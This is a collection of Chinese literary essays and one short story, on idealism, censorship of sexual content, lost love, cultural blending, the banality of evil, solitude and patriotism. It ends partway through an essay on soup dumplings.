张梅

　　孩子，我首先希望你自始至终都是一个理想主义者。你可以是农民，可以是工程师，可以是演员，可以是流浪汉，但你必须是个理想主义者。

　　当你童年，我们讲英雄的故事给你听，并不是要你一定成为英雄，而是希望具有纯正的品格；当你少年，我们让你接触诗歌、绘画、音乐，是为了让你的心灵填满高尚的情趣。这些高尚的情趣会支撑你的一生，使你在最严酷的冬天也不会忘记玫瑰的芳香。理想会使人出众。

　　孩子，不要为自己的外形担忧。理想纯洁你的气质，而最美貌的女人也会因为庸俗而令人生厌。通向理想的道路往往不尽人意，而你亦会为此受尽磨难。但是，孩子，你尽管去争取，理想主义者的结局悲壮而决不可怜。

　　在那貌似坎坷的人生中，你会结识到许多智者和君子，你会见到许多旁人无法遇到的风景和奇迹。选择平庸虽稳妥，但绝无色彩。

　　不要为蝇头小利放弃自己的理想，不要为某种潮流而放弃自己的信念。物质世界的外表太过复杂，你要懂得如何去拒绝虚荣的诱惑。理想不是实惠的东西，它往往无法带给你尘世的享受。因此你必须习惯无人欣赏你，学会精神享受，学会与他人不同。

　　其次，孩子，我希望你是一个踏实的人。人生太过短促，而虚的东西又太多，你很容易眼花缭乱，最终一事无成。

　　如果你是一个美貌的女孩子，年轻的时候会有许多男性宠你，你得到的东西过于容易，这会使你流于浅薄和虚浮；如果你是一个极聪明的男孩，又会以为自己能够成就许多大事而流于轻佻。

　　记住，每个人的能力有限，我们活在世上做好一件事足矣。写好一本书，做好一个主妇。不要轻视平凡的人，不要投机取巧，不要攻击自己做不到的事。你长大后会知道，做好一件事太难，但绝不要放弃。

　　你要懂得和珍惜感情。不管男人女人，不管墙内墙外，相交一场实在不容易。交友的过程会有误会和摩擦，但你想一想，偌大世界，能有缘结伴而行的又有几人？你要明白朋友终会离去，生活中能有人伴你在身边，听你倾谈，倾谈给你听，你就应该感激。

　　要爱自己和爱他人，要懂自己和懂他人。你的心要如溪水般柔软，你的眼波要象春天般妩媚。你要会流泪，会孤身一人坐在黑暗中听伤感的音乐。你要懂得欣赏悲剧，悲剧能丰富你的心灵。

　　希望你不要媚俗。你是个独立的人，无人能抹杀你的独立性，除非你向世俗妥协。要学会欣赏真，要在重重面具之下看到真。

　　世上圆滑标准的人很多，但出类拔萃的人极少。而往往出类拔萃又隐藏在卑琐狂荡之下。在形式上，我们无法与既定的世俗争斗，而在内心，我们都是自己的国王。如果你的脸上出现谄媚的笑容，我将羞愧的掩脸而去。世俗许多东西虽耀眼却无价值，不要把自己置于大众的天平上，你会因此无所适从，人云亦云。

　　在具体的做人上，我希望你不要打断别人的谈话，不要娇气十足。你每天至少拿出两小时来读书，不要想着别人为你做些什么，而要想着怎么去帮助他人。

　　借他人的东西要还，不要随便接受别人的恩惠，要记住，别人的东西，再好也是别人的，自己的东西，再差也是自己的。

　　还有一件事，虽然做起来很难，但相当重要，这就是要有勇气正视自己的缺点。你会一年年的长大，你渐渐会遇到比你强，比你优秀的人，你会发现自己身上有许多你所厌恶的缺点。这会使你沮丧和自卑。你一定要正视它，不要躲避，要一点一点的加以改正。战胜自己比征服他人还要艰巨和有意义。

　　不管世界潮流如何变化，但人的优秀品质却是永恒的：正直，勇敢，独立。我希望你是一个优秀的人。

摆脱童稚状态

王小波

　　李银河所译约翰盖格农《性社会学》第十七章“性环境”，集中叙述了美国对含有性内容的作品审查制度的变迁，因而成为全书最有神彩的一章。美国在两次大战前对“色情作品”的审查是最严的，受到打击的决不止是真正的色情作品。就以作家为例，不但海明威、雷马克有作品被禁，连最为“道学”的列夫托尔斯泰也上了禁书榜。在本世纪二十年代，美国的禁书榜上不但包括了乔依斯的《尤利西斯》，劳伦斯的《恋爱中的女人》等等，拉伯莱斯的《阿拉伯之夜》和雷马克的《西线无战事》也只能出节本。事有凑巧，我手上正好有一本国内出版的《西线无战事》，也是节本，而且节得上气不接下气。这种相似之处，我相信不仅仅是有趣而已。以前我们谈到国内对书刊、影视某些内容过于敏感时，总是归因亏中外国情不同，让会制度不同，假如拿美国的三十年代和现在中国做个对比，就很容易发现新的线索。

　　自一次大战后，美国对色情作品的检查呈稳步上升之势。一方面对性作品拼命压制，一方面严肃文学中性主题不断涌现，结果是从联邦到州、市政府开出了长得吓人的禁书书单。遭难的不只是上述作家，连圣经和莎翁的戏剧也只能通过节本和青少年见面。圣经抽掉了《雅歌》，莎翁抽掉了所谓猥亵的内容，结果是孩子们简直就看不明白。当然，受到限制的不仅是书刊，电影也没有逃出审查之网。在电影里禁止表现娼妓，长时间的作爱，禁止出现裸体、毒品、混血儿、性病、生育和嘲笑神职人员的镜头。

　　当时严格的检查制度有其理论，这种理论认为一切对性的公开正面（非谴责性）的讨论都会导致性活动的泛滥，因为性知识是性行为的前兆。这就是说，性冲动是强大的，一受刺激就会自动表达出来。与此相辅相成的是另一个理论：性是危险的，人是薄弱的，必须控制性来保护人。这种观点和时下主张对文学作品严加控制的观点甚是相似。在我们国家里，现在正有人认为青少年的性犯罪和书籍、录相带有关系；还有一些家长反映孩子看了与性有关的书刊，影响了学习。因此主张对有性内容的书刊、录相严加限制。

　　但是在我看来，像这样的观点因为是缺少科学训练的人提出的，多少总有点混乱不清的地方。比方说二十年代美国这种理论。在科学上我们只能承认它是一种假设，必须经过验证才能成立；而且它又是一种最糟不过的假设，定义不清，以致无法设计一种检验方法。我在报刊上看到一些统计数字，指出有多少性犯罪的青少年看过“不良”书刊或者黄色录相带，但是这样立论是错误的。

　　实际上有效的立论应是指出有多少看过“不良”书刊的青少年犯了罪。在概率论上这是两个不同的反验概率，没有确定的关系，也不能够互相替代。至于家长说孩子看了与性有关的书刊，影响了学习，实际上是提出了一个因果模型？？看某些书刊——影响学习。

　　有经验的社会学家都会同意，建立一个可靠的因果模型是非常困难的。就以前述家长的抱怨为例，首先你要证明，你的孩子是先看了某些书刊，而后学习成绩才下降的：其次你要证明没有一个因素既影响到孩子看某种书，也影响到孩子的学习，我知道有一个因素要影响到这两件事，就是孩子的性成熟。故而上述家长的抱怨不能成立。现在的孩子营养好，性成熟早，对性知识的需求比他们的父母要早。据我所知，这是造成普遍忧虑的一个原因。假如家长只给他们馒头和咸菜吃，倒可以解决问题（使其性成熟期晚些到来）。以上论述要说明的是，关于色情作品对青少年的腐蚀作用，公众从常识的观点得出的结论和专家能做出的结论是不一样的，倘非如此，专家就不成其为专家。

　　当然，人们给所谓色情作品定下的罪名不仅是腐蚀青少年，而且是腐蚀社会。在这方面书中有一个例子，就是六十年代的丹麦试验，1967年，丹麦开放了色情文学（真正的色情文学）作品，1969年开放了色情照片，规定色情作品可以生产，并出售给十六岁以上的公民。这项试验有了两项重要结果：其一是，丹麦人只是在初开禁时买了一些色情品，后来就不买或是很少买，以致在开禁几年后，所有的色情商店从哥本哈根居民区绝迹，目前只在两个小小的地区还在营业，而且只靠旅游者生存。本书作者对此的结论是：“人有多种兴趣，性只是其中的一种，色情品又只是其中一个小小的侧面。几乎没有人会把性当做自己的主要生活兴趣，把色情品当作自己的主要生活兴趣的人就更少见。丹麦试验的第二个重大发现是色情业的开放对某些类型的犯罪有重大影响。猥亵儿童发案率下降了百分之八十，露阴癖也有大幅度下降。暴力污辱罪（强奸，狠亵）也减少了。其它犯罪数没有改变。这个例子说明色情作品的开放会减少而不是增加性犯罪，笔者引述这个例子，并不是主张什么，只是说明有此一事实而已。

　　美国对色情作品的审查浪潮在二次大战后忽然退潮了，本书作者的观点是：这和美国从一个保守的、乡村为主的、单一清教国家，转变成了多元的国家有关。前者是反移民、反黑人、反共、排外的，社会掌握在道德警察手里；后来变成了一个都市化、工业化的社会，那种严格检查的背景就不存在了。这种说明对我们甚有意义，我们国家也是一个以乡村为主的国家。至于清教传统，我们没有过。清教徒认为人本性是恶的，必须加以限制。我们国家传统哲学认为人性本善，但是一到了“慕少艾”的年龄，他就不再是好东西了。所以对于青春期以后的人，两边的看法是完全一样的。本书作者给出了一个美国色憎开放程度的时间表，在此列出，以备参考：早于四十年代：任何女性的裸体或能引起这类联想的东西，包括掀起的衣裙、乳头的暗示，都属禁止；四十年代：色情杂志上出现裸女背影；五十年代：乳房的侧影；六十年代：出现乳头；《花花公子》杂志上出现女性阴部；七十年代：男性主殖器出现在《维瓦》和《花花女郎》杂志上，女性的阴唇出现在《阁楼》和《花花公子》杂志上，每当杂志走得更远时，审查员就大声疾呼，灾难就要降临；但是后来也没闹什么灾。所以这些人就落入了喊“狼来了”那个孩子的窘境。

　　《性社会学》这本书里把对影视出版的审查，看作一种性环境。

　　这种审查的主要目标是色情作品，所以含有性内容的严肃作品在这里只是被“捎带”的，所谓严肃作品，在我看来应该是虽然写到了性，但不以写性为目的的作品。这其中包括了以艺术上完美为目标的文学、影视作品，社会学、人类学的专业书，医学心理学的一部分书。据我所知，这类作品有时会遇到些麻烦。从某种意义上讲，严肃的作家、影视从业人员也可以算做专家，从专家的角度来看审查制度，应该得到什么样的结论呢？

　　改革开放之初，聂华苓、安格尔夫妇到中国来，访问了我国一批老一代作家。安格尔在会见时间：你们中国的作品里，怎么没有写性呢？性是生活中很重要的事呀。我国一位年长的作家答道：我们中国人对此不感兴趣！这当然是骗洋鬼子的话，实际情况远非如此，但是洋鬼子不吃骗，又问道：你们中国有好多小孩子，这是怎么一回事？这句话的潜台词就是这些孩子不是你捏着鼻子，忍着恶心造出来的罢。当然，我们可以回答：我们就是像吃苦药那样做这件事！但是这样说话就等于承认我们都是伪君子。

　　事实上性在中国人生活里也是很重要的事，我们享受性生活的态度和外国人没有什么不同。在这个方面没必要装神弄鬼。既然它重要，自然就要讨论。严肃的文学不能回避它，社会学和人类学要研究它，艺术电影要表现它；这是为了科学和艺术的缘故，然而社会要在这方面限制它，于是，问题就不再是性环境，而是知识环境的问题了。

　　《性社会学》这本书描述了二十年代美国是怎样判决淫秽书的：起诉人从大部头书里摘出一段来，念给陪审员听，然后对他们说：难道你希望你们的孩子读这样的书吗？结果海明威。劳伦斯、乔伊斯就这样被禁掉了。我不知道我们国家里现在有没有像海明威那样伟大的作家，但我知道假如有的话，他一定为难以发表作品而苦恼。海明威能写出让起诉人满意的书吗？不能。

　　我本人就是个作者。任何作者的书出版以后，会卖给谁他是不能够控制的。假如一位严肃作家写了性，尽管其本心不是煽情、媚俗，而是追求表达生活的真谛，也不能防止这书到了某个男孩子手里，起到手淫前性唤起的作用。故此社会对作家的判决是：因为有这样的男孩子存在，所以你的书不能出。这不是太冤了吗？但我以为这样的事还不算冤，社会学家和心理学家比他还要冤。事实上社会要求每个严肃作者、专业作者把自己的读者想象成十六岁的男孩子，而且这些男孩似乎还是不求上进、随时要学坏的那一种。

　　我本人又是个读者，年登不惑，需要看专业书，并且喜欢看严肃的文学书，但是市面上只有六十二个故事的《十日谈》，节本《金瓶梅》，和被宰得七零八落的雷马克；还有一些性心理学性社会学的书，不客气地说，出得完全是乌七八糟。前些日子买了一本福科的《性史》，根本看不懂，现在正想办法找英文本来看。这种情形对我是一种极大的损害，在此我毫不谦虚地说，我是个高层次的读者，可是书刊检查却拿我当十六岁的孩子看待。

　　这种事情背后隐含着一个逻辑，就是我们国家的出版事业必须就低不就高，一本书能不能出，并不取决于它将有众多的有艺术鉴赏力或者有专业知识的读者，这本书应该对他们有益；而是取决于社会上存在着一些没有鉴赏力或没有专业知识的读者，这本书不能对他们有害。对我来说，书刊审查不是个性环境，而是个知识环境，对其他知识分子也是这样的，这一点是《性社会学》上没有提到的，二三十年代，有头脑的美国人，如海明威等，全在欧洲呆着，后来希特勒把知识分子又都撵回到美国去，所以美国才有了科学发达、人文荟萃的时代。假如希特勒不在欧洲烧书、杀犹太人，我敢说现在美国和欧洲相比，依然是个土得掉渣的国家，我不敢说国内人材凋零是书刊检查之故，但是美国如果现在出了希特勒，我们国内的人材一定会多起来。

　　假如说市场上有我需要的书，可能会不利于某些顽劣少年的成长的话，有利于少年成长的书也不适合于我们。

青梅竹马

佚名

　　什么是青梅竹马呢，其实根本没有别人所想的那么浪漫。所谓青梅竹马只是那个知道你所有丑事和本来面目的人。即使现在的他英俊帅气潇洒，她也会切一声，想着的是他鼻涕扭扭的摸样；即使现在的她美丽大方优雅，他也会唏一声，想着的是她哭闹不停的丑样。

　　长大，真的是一件很残酷的事情，他们不是把曾经的小暧昧化为一生不变的友谊，止步原地；就是互相遗忘，因为某个契机而想起，然后笑中含泪。

　　他们从小一起长大，彼此间最为了解；长大了便以取笑对方为乐，百无禁忌。

　　直到那年初三毕业。

　　一贯成绩较好的他竟然意外地以一分之差惜败于她，她不过是凑上去调笑了句：“真笨啊。”他却觉得自尊心受损，和她大吵了一架，一个暑假再没有联系过。

　　她生平第一次觉得，原来她对他并没有自以为的如此了解。

　　上了高中，即使还在一个班，却也很少说话，仿佛很深的沟壑立于彼此心间，不是跨不过，而是没人愿意跨过。

　　上了高中，曾经青涩的两个人渐渐拥有了成熟的味道，一样优异的成绩，一样出色的外表，一样是别人眼中的焦点。可是没有人看得出他们从小就认识，曾是青梅竹马。

　　他的好朋友喜欢上了她，可有心无胆。于是一群人聚在一起打牌，输的人替着去表白。命运就是这么捉弄人，偏偏就是他输了，一群人起着哄把他送到了她的身旁。

　　他支支吾吾地把话说完了，她只是微笑的看着他，轻轻说了句：“让他自己来。”

　　然后，她就有了男朋友。

　　作为回报，她也把自己最好的朋友介绍给了他。

　　四个人偶尔一起出去玩，游乐园、电影院，很多地方都留下了他们的足迹。如同小时候的那对青梅竹马，一起走过无数个角落。

　　高考结束的那天，有班级聚会，所有人都喝了很多酒，结束得很晚，于是他送女朋友回家，路上，女友哭着对他说：“如果不是为了赌气，你怎么会和我在一起？你的眼睛里，从来就没有我。”

　　后来，她也和男友分了手，互相都没有问原因。他们又像小时候一样了，每天呆在一起，聊很多，除了爱情。

　　他们都很优秀，也顺利的考上了同一所大学。一起去上学的那天，她的前男友突然冲出来给了他一拳：“枉我把你当成好朋友！”

　　没有追究，亦没有询问，他想过她的心里是不是也有他，却不敢说出，怕连朋友也做不成。谁又知道当初去替人表白其实是为了试探她的心意，却被狠狠中伤。

　　之后的日子，便是平淡如水，即使大学的生活很轻松，也很适合恋爱，两个人却都不曾再谈过。

　　直到大三那年。

　　她的生日，他送了她一束紫色郁金香，中间却是两朵蓝色妖姬，怪怪的，她笑着说：“你随便选的吧，花很好看，组合起来真丑啊！”

　　他有些脸红，却一言不发。看着另一个人为她戴上了一串水晶项链，熠熠生辉。

　　第二天，她来找他，问昨天的那个男生怎么样，他说很好，她也说很好，又是如那日般的微笑，美丽动人，亦残忍无比，让他积攒了许久的勇气再次崩塌。

　　他多想说一句表白的话，多想把眼前人拥入怀中，却只能看着她淡淡微笑，看着她从此之后再不可能属于自己。

　　他们进展很快，毕业典礼也是订婚典礼，她穿着白色长裙，清纯优雅。

　　他有些眩晕，借故离去，却在酒店花园里偶遇了她，她走上去抱了抱他，说：“我喜欢过你，可你从来没有对我有过一丝的表示，从来没有。你总是希望我好好的，我知道，可你从未想过由你来给我幸福。”

　　他从不知道，在共同经历过的这些岁月中，自己在她的世界里究竟有着多么重要的地位；他不知道，替别人表白在她的心中会有多么大的伤害；他更不知道，他和别人牵手时，她的心几乎要被撕成碎片。

　　他总以为自己才是受害者，是她无视了自己的真心。直到最后，他才明白他爱的人，也在爱着他。

　　可是，他再也没有机会了。

　　她也不知道，紫郁金香的花语是无尽的爱，两朵蓝色妖姬代表相遇是一种宿命，心灵的交会有诉不尽的浪漫情怀。

　　那束花是他最后的表白，她却以为是他为了省事随便挑来的。

　　错过的可惜不在于曾赋予了对方多少深情，而在于明明拥有无数次表白的机会，却一一丧失，即使那个人是一起长大的青梅竹马，最后却也只能祝对方幸福。

　　青梅竹马，一起长大，却不能一起变老。

双文化时代

周有光

　　每一个民族都有自己的传统文化，每一个民族都热爱甚至崇拜自己的传统文化。但是，在现代，任何民族都无法离开覆盖全世界的现代文化。环顾世界，到处都是内外并存、新旧并用，实行双文化生活。双文化的结合方式有：并立、互补和融合。不同的社会选择了不同的结合方式。今天的个人和国家已经不自觉地普遍进入了双文化时代。

　　个人的双文化生活在任何城市中都能看到。食，中菜和西菜；衣，中服和西装；住，四合院和公寓楼；行，汽车和三轮车；卫，中医和西医；教，学校和家庭教育；娱，图画、音乐、舞蹈、小说、戏剧，中西合璧、彼此模仿。人们说，在电视里看京戏是“寓中于西”。东方的城市生活一天也离不开来源于西方的交通设备、通信设备和各种各样的电器设备。

　　“大清帝国”改名“中华民国”，这就是宣告中国双文化时代的开始。“中华”属于中国文化，“民国”属于西方文化。“中学为体、西学为用”是双文化。大学里传统文化课程很少，西方学术课程很多，这是“向外倾斜”的双文化。

　　中国文化原来就不是单纯的，它是中国的儒学和印度的佛教以及其他因素的混合物。佛寺多于孔庙是古代双文化的遗迹。

　　印度做了三百年英国的殖民地，行政和教育离不开英语，是一个双文化国家。新加坡规定英语是全国官方语言，华语是华人的民族语言，新加坡是双文化国家。某些伊斯兰教国家激烈反对西方，但是照样学习英语和西方科技。

　　新闻说，某伊斯兰教国家的大臣们反对国王建设电视，因为其中的人像就是魔鬼。国王无奈，宣布休会。大臣们走出会场，找不到自己的汽车，回去问国王是怎么一回事。国王说：汽车不也是魔鬼的工具吗？

　　新闻说，在韩国，同一家人，父母倾向农耕文化，儿女倾向西方文化。“泡菜”的一代和“汉堡包”的一代住在一个大门里。青年人一方面希望父母负担他们的教育和结婚费用，这是农耕社会的集体主义文化；另一方面不愿意担负赡养父母的责任，这是西方资本主义的个人主义文化。企业家一方面拼命工作、扩大资本，这是资本主义文化；同时把财富和企业经营权传给子孙，这是农耕社会的集体主义文化。双文化并存，因为英国工业化经历两百年，美国经历一百五十年，韩国只经历四十年，旧文化还没有来得及退出历史舞台。

　　西方文化内部也远非清一色。它早期是“希腊罗马”文化和东方(西亚)传来的基督教的混合物。生物学家在实验室里研究遗传学，到礼拜堂里拜上帝，进化论和上帝创造论集于一身，这不是新闻。美国、加拿大等移民国家，从国家来看是以西方文化为主的多元文化，从每一个家庭来看都是西方文化和本民族文化的双文化。

　　德国和日本，军事战败而经济战胜，这是铁血主义和自由主义两种文化的结合。韩国、中国台湾、中国香港、新加坡，地域小而能量大，这是儒学传统和市场经济两种文化的结合。

　　西方文化所以发展最快，因为它兼收并蓄，汇集众长，重视科技，奖励发明，思想自由，人才辈出，人的智慧充分释放了出来。要使落后赶上先进，必须研究双文化的策略。

　　1995 年 7 月 30 日

恶之平庸

刘瑜

　　在网上找到这个人的照片后，我曾仔细端详他的脸：细长鼻子，略带鹰钩，眼睛不大，但是深，棱角分明的下巴，薄嘴唇。脸上挂着一丝微笑，几乎透着善意。这样的人，欧美大街上到处可见。但他又不是普通人，他叫阿道夫 · 艾克曼，曾经作为纳粹高官参与屠杀犹太人。根据对这个人的审判材料，学者汉娜 · 阿伦特写过一本书《艾克曼在耶路撒冷》，不过此书的副标题更有名：关于恶之平庸的报告。

　　“恶之平庸”。通过这个词，阿伦特想表达的是：艾克曼——很可能也是绝大多数纳粹分子——并非恶魔或者变态，从他交待的材料及心理医生的诊断来看，这是一个普普通通的正常人，几乎可以说是“可怕的正常”。然而，就是这样一个人，在特殊时代，无动于衷地杀害成千上万人。

　　“是纯粹的不假思索让他成为了当时最大的罪犯之一。”阿伦特写道。“不假思索”的意思是，当上级命令传达下来，下级就去执行。如果有一天有人追究罪责，下级就说：“我只是在执行命令而已。”——多么合理的解释，几乎应该表彰其敬业精神了。

　　最近我常想起“恶之平庸”这个词，原因是近期发生的事情：一个盲人，在一个村子里，被封锁在家，既不允许出来，也不允许别人进去。但凡有人去看望，就被暴力驱赶，以至于有人称，该村已成了中国的探险胜地。

　　这个事情中，最令我好奇的，是那些参与看守盲人和暴力驱赶来访者的底层公务人员或雇佣来的打手。这些人昼夜看守着一个毫无反抗能力的家庭，对前仆后继的“探险者”轻则驱赶，重则殴打。我好奇的是，是什么力量在支撑这些“普普通通的人”如此顽强地守在那里？如果仅是为钱，是什么说服他们，那份看守的报酬比那个盲人的权利更重要？他们有没有其他途径，可以更安心地挣到维持生活的费用？

　　我相信，他们是“普普通通的人”，正如山西黑窑案中，那些每天路过黑窑但从未想到举报的人是“普普通通的人”一样。电影《盲山》里，那些联合起来看守被拐卖女孩的村民是“普普通通的人”；福建三网友案中，给三个网民因言定罪的法官们是“普普通通的人”？我能想象，这些人爱打麻将，爱看《还珠格格》，要是路上碰见个问路的，没准还会热情指道。

　　西谚云：“没有一滴雨会认为自己造成了洪灾。”当一个恶行的链条足够长，长到看不到链条全貌时，每个环节的人都有理由觉得自己很无辜。普通人甲，不过是给犹太人做种族登记的小办事员；乙是奉命把犹太人从家里驱赶到隔离区的警官；丙则是把犹太人赶上火车的乘务员；丁只是维持集中营治安的保安；戊是负责收尸的清洁工？凭什么让他们对这些人的死负责呢？他们不过是一个巨大机器上的小螺丝钉而已。但是，让希特勒一个人负责吗？600 万人呢，他一天杀一个，也得杀一万多年。

　　斯坦福大学心理学家津巴多曾经做过一个著名的“斯坦福监狱实验”。24 名学生随机抽签，一半当“狱卒”，一半当“犯人”。结果在一周的角色扮演过程中，演狱卒的学生越来越残暴，演犯人的则越来越卑怯。短短一星期，哪怕是一个实验的环境，角色感就可以改造人性，这事想想真叫人不寒而栗：现实中，有多少人经年累月地藏身于各种制度化的角色中，而其人性又在角色不断内化的过程中被劫持到了哪一个星球？

　　用角色开脱恶行，便利在于那个角色中的“我”不再是我，而仅仅是“他”：张警官，刘处长，陈法官？如果是站在村口的无名小卒则更好，因彻底的匿名，就意味着彻底的责任豁免，所以“我”可以从恶如崩。而所谓人性觉醒，是从自己隐身的集体中抽身出来，恢复成独立、完整并为自己行为负责的个人；是从角色的深井中一点点爬上来，看到雨滴如何汇成洪水。

　　今天仍有无数“不假思索”的梦游者在制度的催眠下游荡。然而，哪有什么抽象的制度？甲乙丙丁戊，你就是制度，舍此，制度只是一张一捅就破的纸而已。在中国农村长期支教的德国人卢安克，说过一句朴素又闪光的话：“文明就是停下来，想一想。”是“停下来，想一想”，还是嵌在制度机器里，继续“不假思索”地转下去，对于所有普普通通的人，这是一个问题。

独处是一种能力

周国平

　　人们往往把交往看作一种能力，却忽略了独处也是一种能力，并且在一定意义上是比交往更为重要的一种能力。反过来说，不擅交际固然是一种遗憾，不耐孤独也未尝不是一种很严重的缺陷。

　　独处也是一种能力，并非任何人任何时候都可具备的。具备这种能力并不意味着不再感到寂寞，而在于安于寂寞并使之具有生产力。人在寂寞中有三种状态。一是惶惶不安，茫无头绪，百事无心，一心逃出寂寞。二是渐渐习惯于寂寞，安下心来，建立起生活的条理，用读书、写作或别的事务来驱逐寂寞。三是寂寞本身成为一片诗意的土壤，一种创造的契机，诱发出关于存在、生命、自我的深邃思考和体验。

　　独处是人生中的美好时刻和美好体验，虽则有些寂寞，寂寞中却又有一种充实。独处是灵魂生长的必要空间，在独处时，我们从别人和事务中抽身出来，回到了自己。这时候，我们独自面对自己和上帝，开始了与自己的心灵以及与宇宙中的神秘力量的对话。一切严格意义上的灵魂生活都是在独处时展开的。和别人一起谈古说今，引经据典，那是闲聊和讨论；唯有自己沉浸于古往今来大师们的杰作之时，才会有真正的心灵感悟。和别人一起游山玩水，那只是旅游；唯有自己独自面对苍茫的群山和大海之时，才会真正感受到与大自然的沟通。

　　从心理学的观点看，人之需要独处，是为了进行内在的整合。所谓整合，就是把新的经验放到内在记忆中的某个恰当位置上。唯有经过这一整合的过程，外来的印象才能被自我所消化，自我也才能成为一个既独立又生长着的系统。所以，有无独处的能力，关系到一个人能否真正形成一个相对自足的内心世界，而这又会进而影响到他与外部世界的关系。

　　怎么判断一个人究竟有没有他的“自我”呢?有一个可靠的检验方法，就是看他能不能独处。当你自己一个人呆着时，你是感到百无聊赖，难以忍受呢，还是感到一种宁静、充实和满足?

　　对于独处的爱好与一个人的性格完全无关，爱好独处的人同样可能是一个性格活泼、喜欢朋友的人，只是无论他怎么乐于与别人交往，独处始终是他生活中的必需。在他看来，一种缺乏交往的生活当然是一种缺陷，一种缺乏独处的生活则简直是一种灾难了。

　　世上没有一个人能够忍受绝对的孤独。但是，绝对不能忍受孤独的人却是一个灵魂空虚的人。世上正有这样的一些人，他们最怕的就是独处，让他们和自己呆一会儿，对于他们简直是一种酷刑。只要闲了下来，他们就必须找个地方去消遣。他们的日子表面上过得十分热闹，实际上他们的内心极其空虚。他们所做的一切都是为了想方设法避免面对面看见自己。对此我只能有一个解释，就是连他们自己也感觉到了自己的贫乏，和这样贫乏的自己呆在一起是顶没有意思的，再无聊的消遣也比这有趣得多。这样做的结果是他们变得越来越贫乏，越来越没有了自己，形成了一个恶性循环。

抽象的爱国

梁文道

　　一个女孩美不美，肉眼能辨；一个女孩爱不爱国，就不必双眼目测了。

　　小时候，我们台湾男孩称赞一个女孩的方法有三种。第一种是说她“很美”；假如她不美，我们则说她“很有气质”；万一她不只不美而且还没有气质的话，那么我们就说她“很爱国”了。

　　如今想来，这种说法真是政治不正确，非但侮辱女性，更侮辱了“爱国”。爱国可是当代中国最受推崇的，其位阶甚至要比诚实和善良还高，所以小学道德教育教得最多的就是“爱国”，你怎么能拿它开玩笑呢？我相信大部分人择偶的时候，都不一定会把爱国看得比英俊美丽重要，甚至将它排在有钱的后面；可是由于我们又真的很欣赏爱国的价值，因此也就能被一个爱国者感动了，哪怕他是个外国人。

　　比如说郑大世。这位在日本出生成长的朝鲜球员，在世界杯朝鲜第一场球赛开赛前，一边听着国歌一边忍不住掉泪；碰到第一脚球的时候，他又哭了。于是我们也被感动，媒体便是拿住这点大做文章，似乎人人都很确定郑大世的眼泪是爱国情切，不可能再有第二个理由。直到后来，才有报道说他自承哭泣是因为能和足球王国巴西干一仗太荣耀太兴奋了，不能自持，基本上与民族情绪没有太大关系。

　　到底哪一套讲法才是真的呢？我们很难确定。我只知道后面这条新消息，恰巧可以反照出我们的第一反应原来不一定是对的，那两行清泪原来还有很多种诠释的可能。为什么在没有主角本人确认的情况下，我们会这么迅速这么直接地就把它们往爱国上联想呢？也许这多少是我们自己认知方式的折射，你心里记挂着什么，你就看到什么。

　　我们那么重视爱国，那么容易被一个爱国者感动，但这并不表示我们都能理解这种情感的复杂。且以郑大世为例，假设他真是为了祖国的骄傲而哭泣，可是以他的成长背景和生活环境，他这种爱国的情绪难道不是一件奇怪的事情吗？

　　根据报道，郑大世的父母是在日韩侨，所以他自小就在日本长大，对他现在认同的朝鲜没有半点切身的生活体验。他使用苹果的 iPhone 手机，喜欢玩网上电子游戏；他喜欢自己的同胞从来没有听过的摇滚乐，他穿自己的同胞存一辈子钱都可能买不到的名牌时装；他希望日后能够转型走上娱乐界的道路，就像贝克汉姆一样，甚至娶一个红遍东亚的 Wonder Girls 回去当老婆，然而朝鲜有谁听过 Wonder Girls 的名字呢？

　　为什么是这样一个极不朝鲜的日本韩侨，会被国歌的乐声深深打动？为什么他那批出生在朝鲜、对朝鲜日常生活有第一手认识的队友反而很冷静？许多评论在这里看到的不是一个值得思考的问题，却是一个令人激动的奇迹。他们不觉得郑大世的“反常”有什么好深究的地方，而把这“反常”当成郑大世更应该被赞颂的原因。换句话说，他们似乎认为，正因为郑大世没有任何祖国生活经验，他的离奇爱国才更叫人感动。

　　奇特的郑大世其实是很正常的。身为在日韩侨，他的日本护照将永远注明“朝鲜”这个籍贯；此“朝鲜”不等于彼“朝鲜”，它指的是整个朝鲜半岛。比起韩国，朝鲜更加注重这批日本侨胞的组织和统战，所以有不少韩侨父母都会把子女送进亲朝学校。这些孩子从来不能彻底融入日本。这群住在高度发达资本主义社会的学生不晓得朝鲜同胞的真实生活情况，他们学到的全是祖国山川之美，主体思想之崇高，以及朝鲜版社会主义之伟大。他们对朝鲜的认同是一种纯粹大脑里的认同，他们对国家的情感也是一种超乎现实的抽象情感。你看郑大世，他先是申请加入韩国队被拒，才辗转进了朝鲜队，可见他的国家认同与其说是对朝鲜国体的认同，倒不如说是对朝鲜民族的认同。他的生活习惯与喜好明明和朝鲜同胞有着巨大的差距，但这丝毫影响不了他脑子里那美好的祖国形象。

　　这种抽象的爱国并不罕见，以前的南洋华侨，到现在的第二代“海归”，我们都曾经看过太多太多的例子。越是没有具体祖国生存经历，他们的感情就越是纯净和强烈。你不能批评它盲目，因为爱国本来就是一种用不着长眼睛的热情，有时候看得太多反而会掺了杂质。一个女孩美不美，肉眼能辨；一个女孩爱不爱国，就不必双眼目测了。

汤包

梁实秋

　　说起玉华台，这个馆子来头不小，是东堂子胡同杨家的厨子出来经营掌勺。他的手艺高强，名作很多，所做的汤包，是故都的独门绝活。

　　包子算得什么，何地无之？但是风味各有不同。上海沈大成、北万馨、五芳斋所供应的早点汤包，是令人难忘的一种。

　　包子小，小到只好一口一个，但是每个都包得俏式，小蒸茏里垫着松针（可惜松针时常是用得太久了一些），有卖相。名为汤包，实际上包子里面并没有多少汤汁，倒是外附一碗清汤，表面上浮着七条八条的蛋皮丝，有人把包子丢在汤里再吃，成为名副其实的汤包了。这种小汤包馅子固然不恶，妙处却在包子皮，半发半不发，薄厚适度，制作上颇有技巧，台北也有人仿制上海式的汤包，得其仿佛，已经很难得了。

